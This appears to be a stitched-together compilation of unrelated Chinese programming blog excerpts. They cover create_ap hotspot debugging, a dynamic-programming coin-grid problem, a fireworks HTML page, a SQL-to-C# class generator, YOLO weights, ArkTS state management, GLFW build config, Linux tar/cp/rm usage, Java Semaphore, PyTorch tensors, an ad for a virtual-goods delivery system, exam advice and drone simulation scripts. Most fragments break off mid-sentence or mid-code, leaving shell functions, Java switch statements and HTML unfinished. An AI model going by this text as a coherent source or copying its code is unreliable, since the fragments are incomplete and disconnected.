ifconfig和iwconfig看下网卡是否还在,系统能否识别到
ifconfig(Interface Configuration)是一个用于配置和显示网络接口的命令。
iwconfig(Wireless Configuration)是一个用于配置和显示无线网络接口的命令。
可以看到无线网卡也被正确识别了查看create_ap服务是否正常:systemctl status create_ap
先给出之前正常启动AP模式的create_ap服务状态,如下图:
但当搜不到WIFI后,此时再查看create_ap服务状态,如下图:
显示当前的假设是5G信号频率,信道超过了14,这就很奇怪了,因为要开启5G,我create_ap配置文件中设置的是165信号,iw list 查看当前网卡是支持165信道的。
既然日志说了超过14信道,那就修改下 /etc/create_ap.conf 配置文件,信道改成8试下,改完后重启了下create_ap,再次查看create_ap服务状态,如下图:
此时create_ap日志又显示警告指出你的适配器不完全支持AP虚拟接口,这就有问题了。。。 排查过程 插拔无线网卡实时监控系统的内核消息:dmesg -wH查看create_ap服务的日志:journalctl -u create_ap查看create_ap程序状态,发现cpu占用率为0,说明create_ap未启动或被阻塞住了 htop -p `pgrep create_ap 根据create_ap的服务状态,可以看到通过指令启动:/usr/bin/create_ap --config /etc/create_ap.conf
查看/usr/bin/create_ap,发现create_ap是由shell脚本所写,剩下的就是代码debug了,根据/usr/bin/create_ap --config /etc/create_ap.conf输出的终端信息,在/usr/bin/create_ap中增加打印信息,不断运行调试,最终发现服务未启动的原因是卡在了一个while循环里面,如下:
具体是卡在了networkmanager_iface_is_unmanaged函数里面,继续查看这个函数
networkmanager_iface_is_unmanaged( ) { is_interface "
目录
题目:
问题描述
输入格式
输出格式
解题过程
第一步 定义dp数组
第二步 确定 dp 数组递推公式
第三步 dp数组的初始化
第四步 dp数组的遍历顺序
第五步 举例说明
报错:内存超限
用dp数组去存储位置上的金币
dp数组从二维降为一维
收获:
题目: 问题描述 有一个N x N的方格,每一个格子都有一些金币,只要站在格子里就能拿到里面的金币。你站在最左上角的格子里,每次可以从一个格子走到它右边或下边的格子里。请问如何走才能拿到最多的金币。
输入格式 第一行输入一个正整数n。
以下n行描述该方格。金币数保证是不超过1000的正整数。
输出格式 最多能拿金币数量。
样例输入
3
1 3 3
2 2 2
3 1 2
样例输出
11
数据规模和约定
n<=1000
解题过程 这是一道很明显的动态规划问题,那就老规矩动态规划五部曲。
第一步 定义dp数组 采用二维数组dp[ i ][ j ],定义为到第i行第j列时,拿到的最大金币数。
因此在定义数组长度时,需要是(n+1)*(n+1)
(因为数组索引从0开始)
又采用gold[ i ][ j ]数组,存储位置上的金币。
第二步 确定 dp 数组递推公式 我们只能往右走或者往下走,那么到达第i行第j列的位置,只能是从[ i ][ j-1 ]的位置(往右走)或者[ i-1 ][ j ] 的位置(往下走),
文章目录 🐒个人主页🏅Vue项目常用组件模板仓库📖前言:🎀源码如下: 🐒个人主页 🏅Vue项目常用组件模板仓库 📖前言: 本篇博客主要提供前端背景收集之烟花背景组件源码,需要的朋友请自取
🎀源码如下: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>2024新年快乐!万事如意!</title> <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no"> <meta name="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="theme-color" content="#000000"> <link rel="shortcut icon" type="image/png" href="https://s3-us-west-2.amazonaws.com/s.cdpn.io/329180/firework-burst-icon.png"> <link rel="icon" type="image/png" href="https://s3-us-west-2.amazonaws.com/s.cdpn.io/329180/firework-burst-icon.png"> <link rel="apple-touch-icon-precomposed" href="https://s3-us-west-2.amazonaws.com/s.cdpn.io/329180/firework-burst-icon.png"> <meta name="msapplication-TileColor" content="#000000"> <meta name="msapplication-TileImage" content="https://s3-us-west-2.amazonaws.com/s.cdpn.io/329180/firework-burst-icon.png"> <link href="https://fonts.googleapis.com/css?family=Russo+One" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"> <link rel="stylesheet" href="./style.css"> <style> * { position: relative; box-sizing: border-box; } html, body { height: 100%; } html { background-color: #000; } body { overflow: hidden; color: rgba(255, 255, 255, 0.
declare @TableName sysname = 'sys_user'--表名 declare @Result varchar(max) = ' /// <summary> /// ' + @TableName + ' /// </summary> public class ' + @TableName + ' {' select @Result = @Result + ' /// <summary> /// ' + CONVERT(NVARCHAR(500), ISNULL(ColName, '无')) + ' /// </summary> public ' + ColumnType + NullableSign + ' ' + ColumnName + ' { get; set; } ' from ( SELECT replace(col.name, ' ', '_') ColumnName, column_id ColumnId, prop.
不知不觉边开发项目边抽时间记录博客的时光又过去了一年,步入开发行列以来陆陆续续参与开发了很多很实际业务场景的模型,闲暇时间里面自己也有去主动做过很多有趣的项目,一路上结交认识了各种各样的人,时光过得飞快,脑子却不够使唤,一些久远的项目随着时间流逝可能就再也找不到了,有些还来得及回顾就通过博文的记录形式留存一下,感兴趣的话可以翻看前面的系列文章:
《AI项目开发实践记录【满满的回忆杀】》
《机器学习、深度学习项目开发业务数据场景梳理汇总记录一》
《机器学习、深度学习项目开发业务数据场景梳理汇总记录二》
《机器学习、深度学习项目开发业务数据场景梳理汇总记录三》
《机器学习、深度学习项目开发业务数据场景梳理汇总记录四》
《机器学习、深度学习项目开发业务数据场景梳理汇总记录五》 因为种种的客观原因的影响,很多比较早期开发的项目早已不复存在,后续大概率也是没有时间重新捡起来了,有时候也出现过前面已经训练好了的权重模型,到过了一段时间想要去使用的时候却发现找不到了无奈只能重新去训练,但是往往深度学习模型的开发训练成本都是比较高的,如果说数据集本身很少倒还好,可以实际的业务开发场景中往往积累了大量的数据,单次版本的迭代开发更新需要大量的计算资源投入......这里本文的主要目的是建立一个记录的机制,对于自己开发的项目中产生的模型和权重、准确率、精确率、召回率、F1值、混淆矩阵等等各类型的曲线评估图表进行记录汇总,另一方面也是因为最近有很多私信来找的伙伴有对应的诉求,这里也是作为一个公开的渠道,按需自取即可。
一、通用场景下人群检测计数识别 如欲查看对应的数据详情和项目开发详情,可移步对应的博文,地址如下:
《助力智能人群检测计数,基于YOLOv3开发构建通用场景下人群检测计数识别系统》
《助力智能人群检测计数,基于YOLOv4开发构建通用场景下人群检测计数识别系统》 《助力智能人群检测计数,基于YOLOv5全系列模型【n/s/m/l/x】开发构建通用场景下人群检测计数识别系统》
《助力智能人群检测计数,基于YOLOv6开发构建通用场景下人群检测计数系统》
《助力智能人群检测计数,基于YOLOv8开发构建通用场景下人群检测计数识别系统》 《助力智能人群检测计数,基于YOLOv7开发构建通用场景下人群检测计数识别系统》
下面是对应的模型权重,如有需要可自取。
yolov3-tiny
YOLOv4-tiny
yolov5s
yolov5【n/s/m/l/x】全系列模型训练结果
yolov6n
yolov6【n/s/m/l】全系列模型训练结果
yolov7tiny
yolov8n
1 前言 上章节第九章 ArkTS语言UI范式-状态管理(一)我们了解了状态管理是什么,分别有哪些状态管理,并介绍了组件内状态管理的相关知识,本章节接着上一章节的内容,我们来继续学习应用状态管理和其他状态管理的相关知识。
2 应用状态的装饰器 上一个章节中介绍的装饰器仅能在页面内,即一个组件树上共享状态变量。如果开发者要实现应用级的,或者多个页面的状态数据共享,就需要用到应用级别的状态管理的概念。ArkTS根据不同特性,提供了多种应用状态管理的能力:
1. LocalStorage:页面级UI状态存储,通常用于UIAbility内、页面间的状态共享。
2. AppStorage:特殊的单例LocalStorage对象,由UI框架在应用程序启动时创建,为应用程序UI状态属性提供中央存储;
3. PersistentStorage:持久化存储UI状态,通常和AppStorage配合使用,选择AppStorage存储的数据写入磁盘,以确保这些属性在应用程序重新启动时的值与应用程序关闭时的值相同;
4. Environment:应用程序运行的设备的环境参数,环境参数会同步到AppStorage中,可以和AppStorage搭配使用。
2.1 LocalStorage:页面级UI状态存储 LocalStorage是页面级的UI状态存储,通过@Entry装饰器接收的参数可以在页面内共享同一个LocalStorage实例。LocalStorage支持UIAbility实例内多个页面间状态共享。
LocalStorage使用场景和相关的装饰器:单向同步@LocalStorageProp、双向同步@LocalStorageLink
@LocalStorageProp:@LocalStorageProp装饰的变量和与LocalStorage中给定属性建立单向同步关系。@LocalStorageLink:@LocalStorageLink装饰的变量和在@Component中创建与LocalStorage中给定属性建立双向同步关系。 如果要建立LocalStorage和自定义组件的联系,需要使用@LocalStorageProp和@LocalStorageLink装饰器。使用@LocalStorageProp(key)/@LocalStorageLink(key)装饰组件内的变量,key标识了LocalStorage的属性。
当自定义组件初始化的时候,@LocalStorageProp(key)/@LocalStorageLink(key)装饰的变量会通过给定的key,绑定LocalStorage对应的属性,完成初始化。本地初始化是必要的,因为无法保证LocalStorage一定存在给定的key(这取决于应用逻辑是否在组件初始化之前在LocalStorage实例中存入对应的属性)。
2.1.1 @LocalStorageProp @LocalStorageProp(key)是和LocalStorage中key对应的属性建立单向数据同步,我们允许本地改变的发生,但是对于@LocalStorageProp,本地的修改永远不会同步回LocalStorage中,相反,如果LocalStorage给定key的属性发生改变,改变会被同步给@LocalStorageProp,并覆盖掉本地的修改。
变量的传递/访问规则说明
2.1.2 @LocalStorageLink 如果我们需要将自定义组件的状态变量的更新同步回LocalStorage,就需要用到@LocalStorageLink。
@LocalStorageLink(key)是和LocalStorage中key对应的属性建立双向数据同步:
本地修改发生,该修改会被写回LocalStorage中;
LocalStorage中的修改发生后,该修改会被同步到所有绑定LocalStorage对应key的属性上,包括单向(@LocalStorageProp和通过prop创建的单向绑定变量)、双向(@LocalStorageLink和通过link创建的双向绑定变量)变量。
变量的传递/访问规则说明
2.1.3 应用逻辑使用 let para: Record<string,number> = { 'PropA': 47 }; let storage: LocalStorage = new LocalStorage(para); // 创建新实例并使用给定对象初始化 let propA: number | undefined = storage.get('PropA') // propA == 47 let link1: SubscribedAbstractProperty<number> = storage.link('PropA'); // link1.get() == 47 let link2: SubscribedAbstractProperty<number> = storage.
引入GLFW: 在vendor里创建GLFW文件夹:
在github上下载,把包下载到GLFW包下。
GitHub - TheCherno/glfw: A multi-platform library for OpenGL, OpenGL ES, Vulkan, window and input修改SRC/premake5.lua的配置:12、13、15、36、37、38、39、40行的代码是新加上去的:
workspace "YOTOEngine" -- sln文件名 architecture "x64" configurations{ "Debug", "Release", "Dist" } -- https://github.com/premake/premake-core/wiki/Tokens#value-tokens -- 组成输出目录:Debug-windows-x86_64 outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}" IncludeDir={} IncludeDir["GLFW"]="YOTOEngine/vendor/GLFW/include" include "YOTOEngine/vendor/GLFW" project "YOTOEngine" --Hazel项目 location "YOTOEngine"--在sln所属文件夹下的Hazel文件夹 kind "SharedLib"--dll动态库 language "C++" targetdir ("bin/" .. outputdir .. "/%{prj.name}") -- 输出目录 objdir ("bin-int/" .. outputdir .. "/%{prj.name}")-- 中间目录 pchheader "ytpch.h" pchsource "YOTOEngine/src/ytpch.cpp" -- 包含的所有h和cpp文件 files{ "
tar:解压缩
*.Z-------------------compress程序压缩的文件 *.gz------------------gzip程序压缩的文件 *.bz2-----------------bzip2程序压缩的文件 *.tar------------------tar程序打包的数据,并没有压缩 *.tar.gz---------------tar程序打包的文件,其中经过gzip的压缩 *.tar.bz2--------------tar程序打包,其中经过bzip2的压缩 Linux上常用的压缩命令就是gzip和bzip2,制语compress已经不再流行,但是这些压缩命令只能针对一个 文件进行解压缩,要是很多文件要一起解压缩怎么办?这个时候tar命令就显得很重要了,tar命令可以将很多 文件打包 tar的参数非常多,我们记住下面几个用法即可: 压缩:tar –[j|z]cv -f filename.tar.[bz2|gz] 要被压缩的文件或目录 查询:tar –[j|z]tv -f filename.tar.[bz2|gz] 解压缩:tar –[j|z]xv -f filename.tar.[bz2|gz] -C 解压到的目录 参数: -c: 建立压缩档案 -x:解压 -t:查看内容 -z:有gzip属性的 -j:有bz2属性的 -f: 使用档案名字,切记,这个参数是最后一个参数(建议单独写一个参数 -f ),后面只能接档案名。 -C 指定目录 -v 返回压缩或者解压的信息 uname -a:查看系统信息
第1章:引言 大家好,我是小黑。今天,咱们一起来深入探讨一下Semaphore。在Java中,正确地管理并发是一件既挑战又有趣的事情。当谈到并发控制,大家可能首先想到的是synchronized关键字或者是ReentrantLock。但其实,Java还提供了一个非常强大的工具,就是Semaphore。
Semaphore,直译过来就是“信号量”。在日常生活中,信号灯控制着车辆的通行,防止交通混乱,这其实和Semaphore在程序中的作用颇为相似。Semaphore主要用于控制同时访问特定资源的线程数量,它通过协调各个线程,保证合理的使用公共资源。比方说如果有一家餐馆只允许固定数量的顾客同时用餐,这就是Semaphore的经典应用场景。
第2章:Semaphore的基本概念 让我们先来了解一下Semaphore的基本概念。在Java中,Semaphore是位于java.util.concurrent包下的一个类。它的核心就是维护了一个许可集。简单来说,就是有一定数量的许可,线程需要先获取到许可,才能执行,执行完毕后再释放许可。
那么,这个许可是什么呢?其实,你可以把它想象成是对资源的访问权。比如,有5个许可,就意味着最多允许5个线程同时执行。线程可以通过acquire()方法来获取许可,如果没有可用的许可,该线程就会阻塞,直到有许可可用。
让我们看个简单的例子。假设咱们有一个限制了最多同时3个线程执行的Semaphore:
import java.util.concurrent.Semaphore; public class SemaphoreExample { // 创建一个Semaphore实例,许可数量为3 private static final Semaphore semaphore = new Semaphore(3); public static void main(String[] args) { // 创建并启动三个线程 for (int i = 1; i <= 3; i++) { new Thread(new Task(semaphore), "线程" + i).start(); } } static class Task implements Runnable { private final Semaphore semaphore; public Task(Semaphore semaphore) { this.semaphore = semaphore; } @Override public void run() { try { // 请求许可 semaphore.
cp: 复制文件或目录
-f 覆盖目标同名文件或目录时不进行提醒,而直接强制复制。 -i 覆盖目标同名文件或目录时提醒用户确认。 -p 复制时保持源文件的权限、属主及时间标记等属性不变(默认权限属主是变化的)。 -r 复制目录时必须使用此选项,表示递归复制所有文件及子目录。 rm: 移除文件或目录
-f :就是 force 的意思,忽略不存在的文件,不会出现警告信息; -i :互动模式,在删除前会询问使用者是否动作 -r :递归删除啊!最常用在目录的删除了!这是非常危险的选项!!! touch:创建一个文件
-a, 只更改访问时间 -c, 如果文件不存在,就不创建。 -d, 更新访问和修改时间 -m, 只更改修改时间 -r, 使用文件的访问和修改时间 -t, 使用指定的时间创建文件 mv:移动文件或者将文件改名
-f :force 强制的意思,如果目标文件已经存在,不会询问而直接覆盖; -i :若目标文件 (destination) 已经存在时,就会询问是否覆盖! -u :若目标文件已经存在,且 source 比较新,才会升级 (update) 改文件名
移动文件
ls: 列出目录
cd:切换目录
pwd:显示目前的目录
mkdir:创建一个新的目录
-m :配置文件的权限 -p :帮助你直接将所需要的目录(包含上一级目录)递归创建起来! rmdir:删除一个空的目录
注意这个只能删除空的目录,如果我们要删除非空目录还是用rm吧
要将图片转换为 tensor,您可以使用 PyTorch 的 torchvision.transforms 模块中的 ToTensor 转换。ToTensor 转换会将 PIL 图像或 NumPy ndarray 转换为 torch tensor。它还会自动将像素值从 [0, 255] 缩放到 [0.0, 1.0] 的范围。以下是将图片转换为 tensor 的步骤:
导入必要的库:
from PIL import Image from torchvision import transforms 创建一个 transform 对象,包括 ToTensor 转换:
transform = transforms.Compose([ transforms.ToTensor() ]) 使用 PIL 库加载图像:
image = Image.open('path_to_your_image.jpg') 应用 transform 转换将图像转换为 tensor:
tensor_image = transform(image) 下面是一个完整的例子,演示如何将图像文件转换为 tensor:
from PIL import Image from torchvision import transforms # 创建一个转换,将图像转换为 tensor transform = transforms.
发货100虚拟商品自动发货系统(含APP小程序)是一套功能强大的虚拟商品自动发货系统/文章付费阅读系统,无需人工值守,客户在线购买即可自动完成交易。支持缺货提醒/快捷登录/回收站/免登录购买等多种功能。
【模板说明】试用版自带一套模板(响应式)
【环境支持】PHP环境 / 200M或以上空间大小 / 开启父路径 / 设置index.php为默认首页 / 目录写入权限需要开启
【数据库】MySQL
【安装步骤】将文件上传至空间目录,运行“http://域名/install”进入安装页面,按照提示安装完成即可
【目录支持】支持根目录/子目录安装
虚拟商品自动发货系统功能特点:
自动发货
付费阅读
免登录后台
VIP会员系统
积分转换系统
缺货提醒
快捷登录(QQ/微信)
在线支付(支付宝/微信)
一键更新
自适应浏览器
支持APP及各端小程序
全站搜索
切换模板
程序更新日志
更新说明:
[20221023] 优化:优化了微信小程序端使用新版登录接口,放弃旧版接口
[20221013] 修复:修复了生成海报时的推广链接在微信里无法点击的问题
[20221013] 优化:查询订单新增了按会员名称,关键词,商品分类查询的功能
源码下载:YISHEN源码网
文章目录 一、前言二、刷题情况三、学习方法 一、前言 我是考数一的,我想想,我是从10月中旬正式开始准备考研,期间的话,跟的机构,没看武忠祥、没看张宇,什么名师的课程都没看。全程网课都是看一个老师,那个四川大学的研究生录的课(高数、线代、概率)都是看的她的课。(很后悔,很后悔,但是结果考的成绩还行)。就数学而言,我是到次年6月底,把基础阶段过了两遍,暑假7-8月进行强化阶段,9-10月中旬巩固强化+刷题+冲刺,11-12月刷题。
二、刷题情况 基础阶段,(虽然很傻,但还是得说),做的是课后习题(就是同济大学的那本书-机构有画重点),外加一本三大计算,三大计算真的很有必要刷,
之后就是660了,嗯,660就刷了高数的一半就到期末考试了,之后也就没刷了
我应该是8月初,才开始刷的真题,从03年开始刷,一直刷到23年的,嗯,最后把李四的模拟卷刷了2套,随手写一两套就当练手的。2天一套卷做的,中间磕磕绊绊没写
880也是在8月初开始刷的,高数部分是差不多都都刷了(级数好像没写,但是考场上倒是写出来了),线代和概率就都是只是写了基础部分,至此,880写完了。那个时候应该11月底了吧。
分享我一个学长(专硕-数二)的刷题情况(堪称疯魔刷题,到最后市面上的数学题目都刷完了),
3月11日 三大计算刷完
4月18日 1800高数基础题刷完
7月1日 高等数学辅导讲义刷完
后面就不太清楚了
最后应该是130吧应该
另一个就是我一个二战学硕学长(数一),刷了660+330,最后98分
三、学习方法 对于错题本,我个人是十分不建议写的,抄题写答案,太浪费时间了。并在到上考场时,翻看错题本既要看一遍,又要看一遍过程,再从中知晓错因,十分繁琐。因此不使用(深受初高中老师的毒害)
在这里,提出一种整理方法就是,用一句话概括,错题所提炼出来的知识点,并由点及面进行整理,比方说,我做到傅里叶变换相关的题目,第一次,我不仅会把傅里叶的知识整理一遍,并且该题目所设计的技巧也会整理进去。第二次遇到的话,直接整理技巧就行。
一来,整理的时候节约时间,二来,复习翻看的时候,也是十分便捷,一目了然。真题的视频,建议跟喻老,我数一由于知识点范围之广,常常忘记这忘记那,喻老的真题讲解,选择填空都有详细的整理,嗯,我都抄下来了,确实很全面。(喻老期间有很长一段年份是没有更新的,这个时候可以去看李艳芳老师的)从12年往后吧,就开始计时吧,建议是160分钟一套卷,留出20分钟。 以上仅做参考!!仅做参考!!仅做参考!!
简单工厂模式(Simple Factory Pattern)是一种创建型设计模式,其主要目的是用于创建对象的实例。这种模式通过封装创建对象的代码来降低客户代码与具体类之间的耦合度。简单工厂不是GoF(四人帮)设计模式之一,但它是一个常用的编程惯用法。
在简单工厂模式中,创建对象的责任通常由一个单一的工厂类承担,这个工厂类有一个用来根据输入参数创建并返回不同类型对象实例的方法。这种模式通常用于管理和创建那些具有共同接口或父类的一组类的实例。
目录
一、业务案例
二、简单实现
三、简单工厂模式
3.1 面向对象编程
3.1.2 接口
3.1.2 面向接口编程
3.2 不用设计模式解决
3.3 用简单工厂模式解决
3.3.1 工厂模式结构及说明
3.3.2 模式分解
3.3.3 理解简单工厂模式
3.4 简单工厂模式优缺点
3.5 思考简单工厂模式
3.5.1 本质
3.5.2 何时选用简单工厂模式
3.6 相关设计模式结合
一、业务案例 请用程序实现输入两个整数和运算符,然后输出结果。
二、简单实现 两三下就搞定,代码如下:
import java.util.Scanner; public class Tester { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); int a = scanner.nextInt(); int b = scanner.nextInt(); String c = scanner.nextLine().trim(); scanner.close(); switch (c) { case "
VINS-Fusion仿真部分 建立plan.sh文件
#!/bin/bash gnome-terminal -x bash -c "cd ~/PX4_Firmware; roslaunch px4 indoor1.launch" sleep 5 gnome-terminal -x bash -c "cd ~/xtdrone_ws; bash scripts/xtdrone_run_vio.sh" sleep 5 gnome-terminal -x bash -c "cd ~/XTDrone/sensing/slam/vio; python vins_transfer.py iris 0" sleep 5 gnome-terminal -x bash -c "cd ~/XTDrone/communication; python multirotor_communication.py iris 0" sleep 2 gnome-terminal -x bash -c "cd ~/XTDrone/control/keyboard; python multirotor_keyboard_control.py iris 1 vel" wait exit 0 运行方法:
./plan.sh ego部分
建立egoplan.sh文件
#!/bin/bash gnome-terminal -x bash -c "
给你一个二叉搜索树的根节点 root ,返回 树中任意两不同节点值之间的最小差值 。
差值是一个正数,其数值等于两值之差的绝对值。
示例 1:
输入:root = [4,2,6,1,3] 输出:1 示例 2:
输入:root = [1,0,48,null,null,12,49] 输出:1 提示: 树中节点的数目范围是 [2, 104]0 <= Node.val <= 105 思路 题目中要求在二叉搜索树上任意两节点的差的绝对值的最小值。
注意是二叉搜索树,二叉搜索树可是有序的。
遇到在二叉搜索树上求什么最值啊,差值之类的,就把它想成在一个有序数组上求最值,求差值,这样就简单多了。
#递归 那么二叉搜索树采用中序遍历,其实就是一个有序数组。
在一个有序数组上求两个数最小差值,这是不是就是一道送分题了。
最直观的想法,就是把二叉搜索树转换成有序数组,然后遍历一遍数组,就统计出来最小差值了。
代码如下:
class Solution { private: vector<int> vec; void traversal(TreeNode* root) { if (root == NULL) return; traversal(root->left); vec.push_back(root->val); // 将二叉搜索树转换为有序数组 traversal(root->right); } public: int getMinimumDifference(TreeNode* root) { vec.clear(); traversal(root); if (vec.size() < 2) return 0; int result = INT_MAX; for (int i = 1; i < vec.
解决方法:
打开
single_uav.launch文件里面的地图大小的value改小
原始:
<arg name="map_size_x" value="100"/> <arg name="map_size_y" value="100"/> <arg name="map_size_z" value=" 5"/> 我修改的:
<arg name="map_size_x" value="40"/> <arg name="map_size_y" value="40"/> <arg name="map_size_z" value=" 3"/> 无报错